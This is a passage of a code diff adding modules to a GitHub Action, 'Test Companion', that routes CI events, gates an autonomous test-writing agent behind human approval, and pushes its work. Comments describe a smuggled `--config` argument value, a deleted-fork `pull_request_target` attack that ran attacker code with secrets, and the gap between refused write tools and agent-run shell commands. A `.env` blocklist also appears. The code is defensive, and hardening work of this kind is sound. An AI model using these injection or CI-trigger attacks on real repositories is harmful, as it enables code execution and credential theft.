way round. + // cleanContext calls stripSeparators, which turns `,`, `=` and `"` into + // spaces and trims. Checking the raw value let `",--config /x"` look safe + // and come out as `--config /x`, while the same text unwrapped was + // correctly refused. The gate has to see what the CLI will see. + const context = cleanContext(built.context ?? {}) + + // One gate for every path, so a new trigger cannot forget it. + for (const [k, v] of Object.entries(context)) { + if (looksLikeAFlag(v)) return skip("unsafe-context", `${k} starts with "-"`) + } + return { ...built, context } +} + +function route({ eventName, payload, inputs, repo, sha, ref }) { + switch (eventName) { + case "issue_comment": + return fromComment(payload, inputs) + case "pull_request": + case "pull_request_target": + return fromPullRequest(payload, repo) + case "workflow_run": + return fromWorkflowRun(payload, inputs, repo) + case "push": + return { + event: TC_EVENTS.PUSH, + context: { sha: payload.after, branch: branchFromRef(payload.ref) }, + } + case "schedule": + return { event: TC_EVENTS.SCHEDULE, context: { sha, branch: branchFromRef(ref) } } + case "workflow_dispatch": + return fromManual(inputs, sha, ref) + default: + // Better a clean skip than a guess: an unrecognised event with invented + // context would run the wrong job against the wrong commit. + return skip("unsupported-event", eventName) + } +} + +function fromComment(payload, inputs) { + // FR-33: an edit must not start a run, or correcting a typo in an old comment + // re-runs the job. + if (payload.action !== "created") return skip("comment-edited", payload.action) + // GitHub delivers pull request comments as issue_comment; only the presence + // of `pull_request` distinguishes them from real issues. + if (!payload.issue?.pull_request) return skip("not-a-pull-request") + + const body = payload.comment?.body ?? "" + const addressed = body.toLowerCase().includes(MENTION) + + // FR-43: a waiting proposal says "Reply go to run this for real", and a + // person does exactly that — with no mention. The PRD's own user story has + // the SDET replying "go". Requiring the mention everywhere meant the + // proposal was instructing an action that could not work (found by the + // first approved run). + // + // Narrow on purpose: the comment must OPEN with the approval word, or + // ordinary chatter — "good to go once CI passes" — starts runs. And + // main.mjs drops this one anyway unless a proposal is really waiting, so + // the mention stays required for everything that is not an answer to a + // question we asked. + const approvalOnly = !addressed && /^\s*(go|approved?)\b/i.test(body) + if (!addressed && !approvalOnly) return skip("not-addressed-to-us") + + // Everything after the mention is what the person actually asked for. The + // mention itself is addressing, not instruction, so it is stripped. + const instructions = body.replace(new RegExp(MENTION, "ig"), "").replace(/\s+/g, " ").trim() + + return { + event: TC_EVENTS.PR_COMMENT, + context: { + pr: String(payload.issue.number), + instructions, + // The commenter is who the run is attributed to and whose permission + // the caller checks before this plan is acted on. + actor: payload.comment?.user?.login, + }, + requiresWriteAccess: true, + commenter: payload.comment?.user?.login, + // Carried so main.mjs can refuse it when no proposal is waiting. + approvalOnly, + } +} + +function fromPullRequest(payload, repo) { + const p = payload.pull_request ?? {} + + // FR-3: a fork's workflow gets a read-only token and no secrets, so a run + // would fail partway with a confusing permissions error. Refuse up front. + // + // Fails CLOSED, and that matters most for `pull_request_target`, which is + // routed here too: that trigger runs in the BASE repository's context WITH + // secrets even for a fork's pull request, so this check is the only thing in + // front of it — unlike `pull_request`, the no-credentials skip never fires. + // + // GitHub sets `head.repo` to null when the fork has been DELETED. The + // previous form required a truthy full_name before it would refuse, so a + // deleted fork sailed through: open a pull request from a fork, delete the + // fork, and the run executed attacker-authored code with our credentials + // and --yolo. fromWorkflowRun below already guards its own privileged + // trigger this way; this one did not. + // + // Compared case-insensitively, as workflow_run already does, because GitHub + // treats repository names that way. + const head = p.head?.repo?.full_name + if (!repo || !head || head.toLowerCase() !== repo.toLowerCase()) { + return skip("fork", head ?? "unknown-origin") + } + + if (payload.action === "closed") { + if (!p.merged) return skip("closed-unmerged") + return { + event: TC_EVENTS.PR_MERGED, + context: { + // The merge commit is what landed; the head sha is a branch that may + // no longer exist. Scoping to head would examine code never merged. + sha: p.merge_commit_sha ?? p.head?.sha, + branch: p.base?.ref, + pr: String(p.number), + }, + } + } + + // FR-36: a draft never starts a run by itself. A comment still can, which is + // why this sits here rather than in the comment path. + if (p.draft) return skip("draft") + + const event = payload.action === "opened" || payload.action === "reopened" ? TC_EVENTS.PR_OPENED : TC_EVENTS.PR_UPDATED + + if (payload.action !== "opened" && payload.action !== "reopened" && payload.action !== "synchronize") { + // labelled, assigned, review_requested and friends are noise here. + return skip("unsupported-event", `pull_request.${payload.action}`) + } + + return { + event, + // No `subject` on purpose. generateSubject in the CLI builds the + // commit-scoped prompt — "the change in PR #N, commit SHA … covering only + // what that change touches" — ONLY when no subject is given. Sending the + // title made `generate` write cases for the title rather than the diff, + // which is the opposite of FR-15. + context: { sha: p.head?.sha, branch: p.head?.ref, pr: String(p.number) }, + } +} + +function fromWorkflowRun(payload, inputs, repo) { + const run = payload.workflow_run ?? {} + if (payload.action !== "completed") return skip("unsupported-event", `workflow_run.${payload.action}`) + + // workflow_run is a PRIVILEGED trigger: it runs in the base repository's + // context with full secrets even when the run it reacts to came from a fork. + // The fork check in the pull_request path does not cover it, and missing + // this is the documented way these workflows get compromised. + // Fails CLOSED: an absent or unmatched head repository is treated as a fork. + // For a trigger that carries full secrets, "cannot confirm it is ours" has + // to mean no. + const head = run.head_repository?.full_name + if (!repo || !head || head.toLowerCase() !== repo.toLowerCase()) { + return skip("fork", head ?? "unknown-origin") + } + + // FR-21: never explain our own red run, or a failing Test Companion check + // triggers a run to explain the failing Test Companion check, forever. + const self = inputs["self-workflow-name"] + if (self && run.name === self) return skip("own-run", run.name) + + if (run.conclusion !== "failure") return skip("build-not-red", run.conclusion) + + return { + event: TC_EVENTS.BUILD_FAILED, + context: { + build: run.html_url, + sha: run.head_sha, + branch: run.head_branch, + build_status: "failed", + pr: run.pull_requests?.[0]?.number ? String(run.pull_requests[0].number) : undefined, + }, + } +} + +function fromManual(inputs, sha, ref) { + const workflow = (inputs.workflow ?? "").trim() + if (!workflow) return skip("no-workflow-named", "workflow_dispatch needs a `workflow` input") + return { + // Deliberately no event: that is how the CLI is told to ignore the + // pipeline bindings and run exactly what was asked for (FR-12). + workflow, + preview: String(inputs.preview ?? "") === "true", + context: { sha, branch: branchFromRef(ref) }, + } +} + +const branchFromRef = (ref) => (typeof ref === "string" ? ref.replace(/^refs\/heads\//, "") : undefined) diff --git a/test-companion/src/push-work.mjs b/test-companion/src/push-work.mjs new file mode 100644 index 0000000..1ea3dcb --- /dev/null +++ b/test-companion/src/push-work.mjs @@ -0,0 +1,288 @@ +/** + * Keeping the work — STM-5434 FR-43. + * + * An approved run writes test code on the runner, and the runner is thrown + * away minutes later. Until this module existed there was no path by which any + * of it survived: the CLI opens a pull request only for the `automate` and + * `fix` jobs, so a `test-pr` run wrote eight passing tests and lost all eight. + * The approval gate exists to authorise exactly that write, which made the + * missing half the one thing the whole conversation was for. + * + * Where the work goes is already settled by FR-42, in access.mjs: "Tests go in + * the pull request's own repository by default." So a commit on the pull + * request's own branch, not a second pull request — a reviewer who asked for + * tests on their change wants them on their change. + * + * Everything here is a pure decision about strings. The git commands live at + * the call site in main.mjs, so every rule below is testable without a + * repository. + */ + +/** Who we commit as. Must match the identity action.yml configures. */ +export const BOT_EMAIL = "test-companion[bot]@users.noreply.github.com" + +/** Did we write the commit this run is reacting to? */ +export function authoredByUs(email) { + return ( + String(email ?? "") + .trim() + .toLowerCase() === BOT_EMAIL + ) +} + +/** + * May this run push at all? + * + * Every arm fails closed, and each one is a different way the push could be + * wrong rather than merely unnecessary. + */ +export function shouldPushWork({ preview, sameRepo, branch, headAuthorEmail, onWantedCommit, defaultBranch } = {}) { + // The proposal pass. The brain refuses every write tool during preview, so + // there should be nothing here to push — but a shell command the agent ran + // is outside that refusal, and pushing its output would break the single + // promise the proposal makes: nothing is written until you say go. + if (preview) return { ok: false, why: "this is a preview run, which writes nothing" } + // A fork's branch belongs to someone else, and `pull_request_target` hands + // us write credentials even for fork code. Pushing there is the exact shape + // of the attack that trigger is known for. + // Strict `!== true`, not falsy: an unanswerable question is a no. Passing + // a hard-coded true here was a review finding, and the same fail-open shape + // had already appeared once in this Action on `pull_request_target`. + if (sameRepo !== true) return { ok: false, why: "the change does not come from this repository" } + if (!String(branch ?? "").trim()) return { ok: false, why: "there is no branch to push to" } + // The checkout is advisory — a run continues against whatever is there, so + // a proposal still gets built. Pushing from that tree is not advisory: + // it would send the default branch's content to the pull request's branch + // and clobber the change under review. + if (onWantedCommit !== true) return { ok: false, why: "the checkout is not on the commit being reviewed" } + // The branch name comes from the pull request's own head ref, which its + // author controls. The default branch is the one target where a mistake is + // not undone by closing a pull request, so it is refused by name. + const base = String(defaultBranch ?? "") + .trim() + .toLowerCase() + if (base && String(branch).trim().toLowerCase() === base) { + return { ok: false, why: "that is the repository's default branch" } + } + // The loop guard. Our push makes a commit; if that commit triggers a run + // that pushes again, the pull request fills with commits until someone + // notices. One generation is enough. + if (authoredByUs(headAuthorEmail)) return { ok: false, why: "this run is reacting to our own commit" } + return { ok: true } +} + +/** + * The paths in `git status --porcelain` output. + * + * Deletions count: removing a test is a change worth keeping. A rename reports + * the destination, which is where the file actually is now. + */ +export function changedPaths(porcelain) { + return String(porcelain ?? "") + .split("\n") + .filter((line) => line.trim()) + .map(stripStatus) + .filter(Boolean) + .map((path) => { + const arrow = path.indexOf(" -> ") + return arrow === -1 ? path : path.slice(arrow + 4) + }) + .map(unquote) +} + +/** + * Drop the status code, without assuming it is exactly two characters wide. + * + * Porcelain writes `XYpath`, and X or Y may itself be a space — " M" + * for an unstaged modification. A caller that trims git's whole stdout removes + * that leading space from the FIRST LINE ONLY, leaving `Mpath`. A fixed + * slice(3) then eats the first letter of the path, which is how run + * 40845669513 tried to add `ests/pricing.spec.js` and lost ten passing tests. + * + * The caller no longer trims, and this no longer assumes the width, because + * the version that assumed it passed every unit test and still failed live. + */ +function stripStatus(line) { + if (line[2] === " ") return line.slice(3) + if (line[1] === " ") return line.slice(2) + return line.slice(3) +} + +/** + * Decode a porcelain path. + * + * Git quotes a path containing a space, a quote, a backslash or — with + * `core.quotePath` on, which is the DEFAULT — any non-ASCII byte. Inside the + * quotes it uses C escapes: `\\303\\251` for the two bytes of "é", plus the + * usual `\\"`, `\\\\`, `\\n`, `\\t`. + * + * Stripping the quotes without decoding leaves a path that does not exist. + * `git add` with several pathspecs aborts on the FIRST miss and stages + * nothing, so a single accented filename lost every file an approved run had + * written — exactly what this module exists to prevent. + * + * The call site also passes `-c core.quotePath=false`, which stops the octal + * escaping at source. This decodes it regardless, so a repository that forces + * the setting back on cannot bring the bug back. + * + * Octal escapes are decoded as BYTES and then read as UTF-8 together, because + * one character is often several escapes and decoding them one at a time + * produces mojibake. + */ +function unquote(path) { + if (!(path.startsWith('"') && path.endsWith('"') && path.length >= 2)) return path + // Walk BYTES, not characters. Indexing the string by UTF-16 code unit + // split an emoji into its two surrogate halves and Buffer.from turned each + // half into U+FFFD, so "my 🎉 file.spec.ts" came back as a path that does + // not exist. Reachable precisely because `core.quotePath=false` stops the + // octal escaping but still QUOTES a path with a space — so the emoji + // arrives raw inside quotes and lands here. + const src = Buffer.from(path.slice(1, -1), "utf8") + const bytes = [] + for (let i = 0; i < src.length; i++) { + if (src[i] !== 0x5c) { + bytes.push(src[i]) + continue + } + const next = src[++i] + // Exactly three octal digits, which is what git emits. + if (next >= 0x30 && next <= 0x37) { + bytes.push(parseInt(String.fromCharCode(next, src[i + 1], src[i + 2]), 8) & 0xff) + i += 2 + continue + } + const simple = { n: 10, t: 9, r: 13, b: 8, f: 12, v: 11, a: 7 }[String.fromCharCode(next)] + // `\"` and `\\` land in the else, and so does anything git did not escape. + bytes.push(simple === undefined ? next : simple) + } + return Buffer.from(bytes).toString("utf8") +} + +/** + * What we refuse to commit, whatever the repository's .gitignore says. + * + * `git add` honours .gitignore already, so this is the second line of defence, + * for a repository that happens not to ignore one of these. A pushed `.env` is + * the worst single outcome in this feature: it publishes a credential into the + * customer's own history, where deleting the file does not take it back. + * + * Matched on whole path SEGMENTS, so `src/env.js` is kept and only a real + * `.env` is dropped. + */ +const NEVER_COMMIT = [ + /^\.env($|\.)/i, + /^node_modules$/i, + /^playwright-report$/i, + /^test-results$/i, + /^\.testcompanion$/i, + /^blob-report$/i, + /\.log$/i, +] + +export function splitPushable(paths) { + const push = [] + const skip = [] + for (const path of paths ?? []) { + const segments = String(path).split("/") + const refused = segments.some((segment) => NEVER_COMMIT.some((pattern) => pattern.test(segment))) + ;(refused ? skip : push).push(path) + } + return { push, skip } +} + +/** + * What the pull request comment says about the push — FR-42's rule applied to + * this step: a write that did not happen is said out loud, because a silent + * skip reads as "there was nothing to write". + * + * The file list is not decoration. This is the only record of what an + * autonomous agent changed in someone's branch, and a reviewer who cannot see + * it has to diff the branch to find out. + */ +export function renderPushNote({ branch, sha, files = [], skipped = [], error } = {}) { + const list = files.map((f) => `- \`${f}\``).join("\n") + if (error) { + return [ + `**Could not save this work to \`${branch}\`:** ${error}`, + "", + "The run made these changes and they are not saved anywhere:", + list, + ].join("\n") + } + const lines = [`**Saved to \`${branch}\`** as \`${String(sha ?? "").slice(0, 7)}\` — ${countOf(files)}:`, "", list] + if (skipped.length) { + lines.push("", `Not committed, because Test Companion never commits these: ${skipped.map((f) => `\`${f}\``).join(", ")}.`) + } + return lines.join("\n") +} + +const countOf = (files) => (files.length === 1 ? "1 file" : `${files.length} files`) + +/** + * Is the working tree sitting on the commit we think it is? + * + * On an `issue_comment` event GitHub checks out the DEFAULT branch, because the + * payload names no ref. main.mjs already corrects that where it resolves the + * comment's issue number into a head sha: it fetches that commit and detaches + * onto it. But that step is ADVISORY — it warns and carries on, so a proposal + * can still be built from the diff when the fetch fails. + * + * Which makes this the check that the advisory step actually worked. Pushing + * from a tree that is not the reviewed commit would send the default branch's + * content to the pull request's branch and clobber the change under review. + * + * Not knowing where we are is never a reason to push. + */ +export function needsCheckout({ headSha, wantSha } = {}) { + const want = String(wantSha ?? "") + .trim() + .toLowerCase() + const head = String(headSha ?? "") + .trim() + .toLowerCase() + if (!want || !head) return false + return head !== want +} + +/** + * Is this branch in the repository we are running in? + * + * Tri-state, like every other access answer here: undefined means we could not + * find out, and shouldDoPushWork treats that as a no. + * + * Takes the head repository's full name rather than fetching it, because where + * it comes from depends on the trigger. A comment names an issue, so main.mjs + * fetches the pull request to resolve a head sha; a pull_request event already + * carries it on the payload and nothing is fetched. Reading only the fetched + * object refused every pull_request-triggered push (run 40857884973). + */ +export function isSameRepo(headRepoFullName, repo) { + const head = String(headRepoFullName ?? "").trim() + const ours = String(repo ?? "").trim() + if (!head || !ours) return undefined + return head.toLowerCase() === ours.toLowerCase() +} + +/** + * The git arguments that authenticate a push as the GitHub App — FR-4. + * + * The App's installation token lives in GH_TOKEN, which only `gh` reads. The + * push is plain git, authenticating with whatever `actions/checkout` wrote + * into .git/config — the workflow token. So a team that followed our own + * advice and deleted the `permissions:` block, as action.yml and the starter + * both suggest, got a 403 on every approved run. + * + * Passed with `-c` rather than baked into the remote URL: a token in a URL + * ends up in the reflog, in error messages and in `git remote -v`. This way + * it lives only in this one process's arguments, and appInstallationToken has + * already masked it in the log. + * + * No token returns nothing, so the checkout's own credential is used — which + * is correct whenever the App is not installed. + */ +export function pushCredentialArgs(token) { + const t = String(token ?? "").trim() + if (!t) return [] + const basic = Buffer.from(`x-access-token:${t}`, "utf8").toString("base64") + return ["-c", `http.extraheader=AUTHORIZATION: basic ${basic}`] +} diff --git a/test-companion/src/report.mjs b/test-companion/src/report.mjs new file mode 100644 index 0000000..8dae748 --- /dev/null +++ b/test-companion/src/report.mjs @@ -0,0 +1,562 @@ +/** + * What the run leaves behind — STM-3663 FR-27, FR-29. + * + * Only the rendering and the decisions live here, with no network calls, so the + * awkward parts are testable without a runner: whether a preview run is marked + * as one, and whether a second run adds a second comment or edits the first. + * The GitHub calls themselves are a thin layer in main.mjs over `gh`, which is + * preinstalled on every runner and already how this product talks to GitHub. + */ +import { CAPABILITIES } from "./intent.mjs" + +/** + * How a later run finds the comment it wrote earlier — FR-29 wants ONE comment, + * edited in place, not a new one per run. An HTML comment so a reader never + * sees it. + */ +export const COMMENT_MARKER = "" + +const previewRun = (summary) => summary?.preview === "true" + +/** + * What the run produced, in the words a reviewer actually wants — FR-27. + * + * Returns nothing for a run that generates no cases (rca, fix, verdict): a row + * reading "0 generated" on one of those looks like something went wrong. + * + * The case that matters most is cases generated and NONE saved. Left to a bare + * pair of numbers, "12 generated · 0 saved" reads as success to a skimming + * reader, which is the exact failure this whole feature exists to prevent — a + * real run produced 27 cases, reported "Succeeded", and lost all of them. + */ +function producedLines(summary, resultArtifact) { + const generated = Number(summary.cases_generated ?? 0) + const saved = Number(summary.cases_saved ?? 0) + if (!generated && !saved) return [] + + const lines = [`**Test cases:** ${generated} generated, ${saved} saved to Test Management.`] + if (saved > 0 && summary.saved_to) { + lines.push(`They are in \`${summary.saved_to}\`.`) + } + if (saved < generated) { + lines.push( + saved === 0 + ? "**Nothing was written to Test Management.** Download the result below to keep the cases." + : "Some of them were not saved. Download the result below for the full list.", + ) + } + if (resultArtifact) { + lines.push(`The full list is in the **${resultArtifact}** artifact on this run.`) + } + return [lines.join(" "), ""] +} + +/** + * How many failing tests the report names before it stops — FR-28. + * + * A suite that loses a hundred tests turns the check into a wall of text + * nobody reads. The first few plus a count is more useful than all of them, + * and every one is still annotated on the diff. + */ +const FAILURES_LISTED = 20 + +/** The failing tests, named, with where they are when that is known. */ +function failureLines(failedTests) { + const failures = failedTests ?? [] + if (failures.length === 0) return [] + + const lines = ["**Failed:**", ""] + for (const t of failures.slice(0, FAILURES_LISTED)) { + const where = t.file ? ` — \`${t.file}${t.line ? `:${t.line}` : ""}\`` : "" + lines.push(`- ${t.name}${where}`) + } + if (failures.length > FAILURES_LISTED) { + lines.push(`- …and ${failures.length - FAILURES_LISTED} more.`) + } + lines.push("") + return lines +} + +/** The run page's summary — written for every run, including the bad ones. */ +export function renderJobSummary({ + workflow, + outcome, + summary = {}, + runUrl, + cliVersion, + resultArtifact, + failedTests, + approvalNote, + workNote, + extraChecks = [], + warnings = [], +} = {}) { + const lines = [] + lines.push(`## Test Companion — ${outcome}`) + lines.push("") + + // FR-43: both asking and approving need write access, so one person doing + // both is not an escalation — but a reviewer reading the result should be + // able to see that no second pair of eyes was involved. + if (String(approvalNote ?? "").trim()) { + lines.push(`>${approvalNote}`) + lines.push("") + } + + // FR-42: a write that was configured and could not happen must be said out + // loud — a silent skip reads as "there was nothing to write". + for (const w of warnings) { + if (String(w ?? "").trim()) { + lines.push(`> \u26a0\ufe0f ${w}`) + lines.push("") + } + } + + if (previewRun(summary)) { + // FR-8. Without this a clean-looking report reads as "the work landed". + // Not "nothing was written": preview refuses Test Companion's own write + // TOOLS, and deliberately allows `execute_command` because that is how + // tests run (preview-tool-policy.ts). A shell command the agent chose can + // still edit a file or push, so claiming nothing was written overstates + // the guarantee (review finding, PR #3030). + lines.push( + "> **Preview** — Test Companion refused every one of its own write tools, so it created, changed and saved nothing itself. Shell commands the agent ran are not covered by that.", + ) + lines.push("") + } + + const rows = [ + ["Job", workflow ?? summary.workflow], + ["Trigger", summary.event], + ["Outcome", outcome], + ["Took", summary.duration], + // Credits, not dollars: it is the unit the bill and the pipeline file's + // own ceiling are written in, so a figure in dollars would not line up + // with the limit the run was given. + ["Cost", summary.credits ? `${summary.credits} credits` : ""], + ["CLI", cliVersion], + ].filter(([, v]) => v) + + lines.push("| | |", "|---|---|") + for (const [k, v] of rows) lines.push(`| ${k} | ${v} |`) + lines.push("") + + lines.push(...failureLines(failedTests)) + lines.push(...producedLines(summary, resultArtifact)) + + // FR-43: what the approved run actually saved, and where. The run writes + // on a runner that is deleted minutes later, so this line is the only + // record a reviewer gets of what an agent changed in their branch. + if (String(workNote ?? "").trim()) { + lines.push(workNote, "") + } + + if (summary.error_type) { + lines.push(`**Why it stopped:** \`${summary.error_type}\``, "") + } + if (Object.keys(summary).length === 0) { + // Being explicit beats an empty page: an absent report is itself a finding. + lines.push("_The run left no report file. That usually means it was cancelled or could not start._", "") + } + if (runUrl) lines.push(`[Full run](${runUrl})`) + + // FR-45: the accessibility and visual lines, when the settings asked for them. + if (extraChecks.length > 0) { + lines.push("") + for (const l of extraChecks) lines.push(l) + } + + return lines.join("\n") +} + +/** The pull request comment — the same content, plus the marker. */ +export function renderComment(args) { + return `${renderJobSummary(args)}\n\n${COMMENT_MARKER}` +} + +/** + * Edit our comment, or write the first one. + * + * Only a comment WE wrote counts. Matching on the marker alone would let a + * person quoting our comment in their reply capture the thread, after which + * every run would overwrite their words. + */ +export function chooseCommentAction(comments) { + const ours = (comments ?? []).filter((c) => c?.user?.type === "Bot" && (c.body ?? "").includes(COMMENT_MARKER)) + if (ours.length === 0) return { action: "create" } + // Oldest, so repeated runs converge on one comment even if a duplicate + // somehow appeared. + const oldest = ours.reduce((a, b) => (a.id <= b.id ? a : b)) + return { action: "update", id: oldest.id } +} + +/** + * Which commit the "Test Companion" check is attached to. + * + * On a pull_request event GITHUB_SHA is the ephemeral MERGE commit, not the + * branch head. A check posted there does not appear on the pull request and + * cannot satisfy branch protection — which is exactly what the first live run + * did. The event's own head sha, which the planner already extracted, is the + * one a reviewer sees. + */ +export function checkSha(planContext = {}, summary = {}, githubSha) { + return planContext.sha || summary.sha || githubSha +} + +/** + * Someone without write access asked for a run — FR-33. + * + * This used to go only to the job summary, which the person who commented never + * opens: from where they sat, Test Companion ignored them. One line, naming who + * can ask, so the answer is where the question was. + * + * No COMMENT_MARKER, here or below. A refusal is not a run report, and + * chooseCommentAction takes the OLDEST marked comment as the one it edits — so + * a marked refusal would become the place every later run wrote its results. + */ +export function renderNotAuthorized(login, askTeam) { + const team = String(askTeam ?? "").trim() + return team + ? `@${login} — this repository has narrowed who can ask Test Companion for a run to the **${team}** team, so write access alone is not enough here.` + : `@${login} — only someone with write access to this repository can ask Test Companion for a run.` +} + +/** We could not place the request — FR-34: reply with what we can do, run nothing. */ +export function renderUnknownRequest() { + const lines = CAPABILITIES.map(({ ask, does }) => `- **${ask}** — ${does}`) + return [`I could not tell which job that was asking for, so nothing ran. Here is what I can do:`, "", ...lines].join("\n") +} + +/** FR-44: a proposal nobody answers is dropped after 24 hours. */ +export const PROPOSAL_WINDOW_MS = 24 * 60 * 60 * 1000 + +/** + * How a waiting proposal is recognised later — STM-5434 FR-43. + * + * Keyed to the COMMIT, which is what makes FR-44's "new commits replace the + * proposal" true without anything having to sweep: once the branch moves, the + * old proposal simply stops being found, so a "go" can never approve work that + * was proposed against different code. + */ +export function proposalMarkerFor(sha, requester, workflow) { + const by = String(requester ?? "").trim() + // The JOB travels with the proposal. Without it, approving a `fix` + // proposal ran whatever binding happened to be first in the pipeline file, + // because the GO path sets no workflow and the CLI then resolves one from + // the event alone. FR-43 is "what you saw is what runs". + const job = String(workflow ?? "").trim() + return `` +} + +/** + * The ONE pattern for a proposal marker, because the two readers have now + * drifted twice. + * + * findProposal learned about `workflow=`; findSupersededProposal, 200 lines + * away, did not — its pattern still required ` -->` right after the optional + * `by=`, so it matched no marker this branch writes and the "your plan is + * stale" reply silently died back to "No @test-companion mention", which is + * the exact failure it was written to fix. + * + * Groups: 1 = requester, 2 = workflow. Both optional, so markers written + * before either field existed stay readable. + * + * Pass a literal sha to pin the search to one commit, or `([0-9a-f]+)` to + * match any and capture it. + */ +const markerPattern = (shaPattern) => + new RegExp(``) + +/** Regex-escape, so a sha is matched literally. */ +const escapeRe = (v) => String(v).replace(/[.*+?^${}()|[\]\\]/g, "\\$&") + +/** The proposal comment: what the run would do, and how to let it — FR-43. */ +export function renderProposal(body, sha, requester, workflow) { + return [ + body, + "", + "Reply **go** to run this for real. Nothing is written until you do — you can edit the list first, or say **stop** to drop it.", + "", + proposalMarkerFor(sha, requester, workflow), + ].join("\n") +} + +/** + * The proposal waiting on this commit, if there is one. + * + * Only a comment WE wrote counts, for the same reason chooseCommentAction + * checks: otherwise a person quoting our proposal in their reply could approve + * their own request. + * + * Fails CLOSED on an unreadable timestamp — treated as expired, so the worst + * case is a fresh proposal rather than approving one of unknown age. + */ +export function findProposal(comments, sha, now = Date.now()) { + // `by=` is optional so proposals written before the requester was recorded + // stay approvable rather than becoming stuck. + // `by=` and `workflow=` are both optional, so proposals written before + // either was recorded stay approvable rather than becoming stuck. + const re = markerPattern(escapeRe(sha)) + const ours = (comments ?? []).filter((c) => c?.user?.type === "Bot" && re.test(c.body ?? "")) + if (ours.length === 0) return undefined + const newest = ours.reduce((a, b) => (a.id >= b.id ? a : b)) + const age = now - Date.parse(newest.created_at ?? "") + return { + id: newest.id, + expired: !(age <= PROPOSAL_WINDOW_MS), + requester: re.exec(newest.body ?? "")?.[1], + // The job the person actually read and approved. Undefined on a + // proposal written before the marker carried one. + workflow: re.exec(newest.body ?? "")?.[2], + // The run has to READ the approved plan to carry it out (FR-43), so the + // body travels with the decision rather than being fetched again. + body: newest.body ?? "", + } +} + +/** + * The plan an approved run must carry out — FR-43. + * + * FR-43 allows a reply of "go" WITH OR WITHOUT edits to the case list, and the + * edits win: someone looked at the proposal and changed it before approving. + * Handing the run only the original proposal would quietly discard that. + * + * The proposal's own marker is stripped. It is bookkeeping, and leaving it in + * invites the run to read it as an instruction. + */ +/** + * Did the approver change anything, or just say go? — FR-43. + * + * Worth knowing separately from the plan itself: edits made at approval time + * were reviewed by nobody but the approver, and on a self-approved run by + * nobody at all. That combination is reported rather than refused — see + * decideGate — but it cannot be reported if it is not detected. + */ +export function hasApproverEdits(replyText) { + const reply = String(replyText ?? "").trim() + if (!reply) return false + // A bare approval is not an edit. Presenting "go" as one would have the run + // looking for an instruction nobody gave. + return !/^(go|approved?)[\s.!]*$/i.test(reply) +} + +export function renderApprovedPlan(proposalBody, replyText) { + const plan = String(proposalBody ?? "") + .replace(//g, "") + .trim() + + const reply = String(replyText ?? "").trim() + const parts = ["# The approved plan", "", plan] + if (hasApproverEdits(reply)) { + parts.push("", "# Changes the approver made", "", reply, "", "Where these differ from the plan above, these win.") + } + return parts.join("\n") +} + +/** + * How a dropped proposal is remembered — FR-44. + * + * The sweep that drops proposals runs nightly. Without a record, it would post + * a fresh "Action required" check and a fresh comment on the same dead proposal + * every night for as long as the pull request stayed open. + */ +export function proposalDroppedMarkerFor(sha) { + return `` +} + +/** + * Is there a proposal on this commit that has run out of time and not yet been + * dropped? — FR-44. + * + * This exists because FR-44's in-progress check is only safe if something is + * guaranteed to end it. A proposal nobody answers would otherwise leave the + * check on "in progress" forever, and anyone who made it a required check is + * then blocked by a check that never resolves — the exact failure Release 2 + * avoided by posting the tick at the end of a run rather than the start. + */ +export function proposalNeedsDropping(comments, sha, now = Date.now()) { + const waiting = findProposal(comments, sha, now) + if (!waiting?.expired) return false + const dropped = proposalDroppedMarkerFor(sha) + return !(comments ?? []).some((c) => c?.user?.type === "Bot" && (c.body ?? "").includes(dropped)) +} + +/** + * The items out of a `gh api --paginate --slurp` response — FR-29. + * + * `--slurp` returns an ARRAY OF PAGES, not a flat array of items, and it wraps + * even when there is only one page. Verified against gh 2.91.0: twelve pages at + * per_page=2, and still `[[...]]` at per_page=100. + * + * Without this, chooseCommentAction is handed an array of arrays, matches + * nothing, returns "create" every time, and every run posts a NEW comment — + * the single-comment guarantee in FR-29, broken by the fix meant to protect it. + * `--slurp` was added to stop `[...][...]` from failing JSON.parse, which it + * does; the shape it produces instead was the part that got missed. + * + * Objects are not arrays, so flat() leaves an already-flat list alone. That + * keeps this correct if gh ever changes its mind. + */ +export function flattenPages(slurped) { + return Array.isArray(slurped) ? slurped.flat() : [] +} + +/** + * The accessibility and visual lines on the check — STM-5434 FR-45. + * + * Both are silent unless the settings asked for them, and both read their + * numbers from the run's summary file. Those keys — accessibility_new, + * accessibility_total, visual_changes, visual_url — are the contract between + * the run and this report. + * + * A check that was asked for and produced no number says so, rather than + * rendering nothing: an absent line reads as "clean", and claiming a pass for + * a check that never ran is the worst of the three outcomes. + */ +export function renderExtraChecks(summary = {}, { wcag, visual } = {}) { + const lines = [] + const level = String(wcag ?? "").trim() + + if (level) { + const introduced = summary.accessibility_new + if (introduced === undefined) { + lines.push(`**Accessibility (WCAG ${level.toUpperCase()}):** no result reported by this run.`) + } else { + const total = summary.accessibility_total + lines.push( + `**Accessibility (WCAG ${level.toUpperCase()}):** ${introduced} introduced by this change` + + (total === undefined ? "." : `, ${total} on the page in all.`), + ) + } + } + + if (visual) { + const changes = summary.visual_changes + if (changes === undefined) { + lines.push("**Visual:** no result reported by this run.") + } else { + const link = summary.visual_url ? ` ${summary.visual_url}` : "" + lines.push(`**Visual:** ${changes} changes awaiting review.${link}`) + } + } + return lines +} + +/** + * May accessibility turn the check red? — FR-45. + * + * Only when the settings say so, and only for violations THIS CHANGE + * introduced. Failing a pull request for the state of a page it never touched + * is how a gate gets switched off for good, and a gate nobody runs protects + * nothing. + * + * A run that reported no number has not failed: absence is not a violation. + */ +export function accessibilityFailsCheck(summary = {}, { wcag, failOnNew } = {}) { + if (!String(wcag ?? "").trim() || !failOnNew) return false + const introduced = Number(summary.accessibility_new) + return Number.isFinite(introduced) && introduced > 0 +} + +/** + * The body of a proposal — FR-38, FR-43. + * + * The first live run posted a proposal containing only a report header. The + * run had designed nine test cases and verified each one by probing the + * implementation; none of it reached the comment, because the proposal was + * only ever handed the job summary. + * + * A proposal with no plan in it cannot be reviewed, which makes approving it + * meaningless — so an absent plan says so out loud rather than rendering a + * confident-looking empty proposal. + */ +export function renderProposalBody({ summary, plan, sizeNote } = {}) { + const parts = [] + // FR-44's warning goes above the list, where it can still change what the + // reviewer approves. + if (String(sizeNote ?? "").trim()) parts.push(sizeNote, "") + if (String(summary ?? "").trim()) parts.push(summary, "") + + const body = String(plan ?? "").trim() + // Only `test-pr` writes a separate plan file. For every other job the + // proposal run is a PREVIEW run — it does the work and writes nothing — + // so its report above IS what is being approved. Saying "there is nothing + // here to approve" told the reader to re-run something that had worked. + const noPlan = String(summary ?? "").trim() + ? "_The report above 